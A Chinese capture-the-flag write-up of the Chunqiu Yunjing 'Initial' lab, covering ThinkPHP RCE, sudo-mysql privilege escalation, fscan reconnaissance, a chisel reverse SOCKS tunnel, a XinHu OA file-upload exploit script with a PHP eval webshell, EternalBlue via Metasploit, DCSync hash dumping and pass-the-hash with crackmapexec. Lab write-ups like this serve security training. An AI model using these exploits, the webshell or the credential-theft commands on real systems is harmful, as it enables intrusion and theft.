目录

  1. 1. 前言
  2. 2. thinkphp 5.0.23 RCE
  3. 3. 提权
  4. 4. 内网扫描
  5. 5. 代理
  6. 6. 信呼nday
  7. 7. MS17-010 & DCSync

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

春秋云境 Initial

2025/2/24 渗透 CVE ThinkPHP
  |     |   总文章阅读量:

前言

感谢 @Dexterjie 快过期的沙砾支持

参考:

https://fushuling.com/index.php/2023/08/27/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7initial/


thinkphp 5.0.23 RCE

image-20250224113527285

image-20250224113814420

这么大一个tp的标,直接开扫

image-20250224114119033

getshell 完直接蚁剑连上去


提权

先看下 suid 权限

find / -user root -perm -4000 -print 2>/dev/null

image-20250224114409155

没啥可利用的,看一下 sudo

sudo -l

image-20250224114454204

那么就是 mysql 提权

sudo mysql -e '\! /bin/sh'

image-20250224114659322

拿到第一段flag:flag{60b53231-


内网扫描

接下来打内网,ifconfig 看一下内网网段,传 fscan 给执行权限扫内网

sudo mysql -e '\! chmod 777 ./fscan'
ifconfig
./fscan -h 172.22.1.15/24

image-20250224115304032

172.22.1.18:445 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:139 open
172.22.1.18:135 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.2:88 open
172.22.1.15:22 open
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] MS17-010 172.22.1.21    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.1.2    (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

代理

用 chisel 建立内网隧道方便本地进行内网资源访问

在vps上运行:(记得安全组策略开端口)

./chisel server -p 33322 --reverse

在这台已经getshell的机器上运行:

./chisel client vpsip:33322 R:0.0.0.0:44543:socks

image-20250224120820231

然后连接 vps:44543 的 socks5 代理

image-20250224120942648

最后即可在本地访问内网资源:

image-20250224121044357


信呼nday

首先要在 kali 上也建立一下socks5访问

vim /etc/proxychains4.conf

image-20250224121351479

信呼v2.2.8,搜一下有:https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%BF%A1%E5%91%BCOA%20qcloudCosAction.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md

先尝试爆破账密,bp也记得挂socks代理,然后浏览器走bp代理就能套代理了,得到 admin:admin123

那么上传1.php

<?=eval($_POST[1]);?>

image-20250224122514619

拿到现在的 fileid 为 10,下一个文件就是11了

那么同样的操作在 kali 上准备一个 1.php

同目录下准备 poc 脚本:

# 1.php为webshell

# 需要修改以下内容:
# url_pre = 'http://<IP>/'
# 'adminuser': '<ADMINUSER_BASE64>',
# 'adminpass': '<ADMINPASS_BASE64>',

import requests

session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''    
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

然后运行

proxychains4 python3 poc.py 

image-20250224122842289

访问写马的目录看看

image-20250224122943638

成功getshell了,是 system 权限

接下来在蚁剑上同样配置socks代理进行连接

image-20250224123150450

连马找flag

image-20250224123320660

flag02: 2ce3-4813-87d4-


MS17-010 & DCSync

接下来打内网的 MS17-010 服务器,这个搜一下可以知道是永恒之蓝

msf上有,遂直接一把梭,参考:https://blog.csdn.net/ElsonHY/article/details/109939420

proxychains4 msfconsole
search ms17-010

image-20250224124336985

直接打了

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

image-20250224124850453

拿到权限后可以用 creds_all 等命令收集内网凭据,而我们控制的这台机器是有 DCSync 的权限的(因为这个是DC1,也就是域控制器),所以能直接从域控上导出Hash

image-20250224125846463

DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式

DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限

这里我们用永恒之蓝打完本来就是 system 权限,然后我们load kiwi启用猕猴桃,抓取用户的hash

load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
# 导出域内所有用户的信息,包括哈希值

image-20250224125323059

抓到了 Administrator 的 hash,之前扫出来 .2 的 445 端口开放,利用 smb 哈希传递,直接用 kali 自带的 crackmapexec,参考:https://blog.csdn.net/qq_42077227/article/details/130279040

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
# -d指定域登录,-x要执行的命令

image-20250224132226932

flag03: e8f88d0d43d6}

flag:flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

花了两小时打完,有点累,但是挺爽的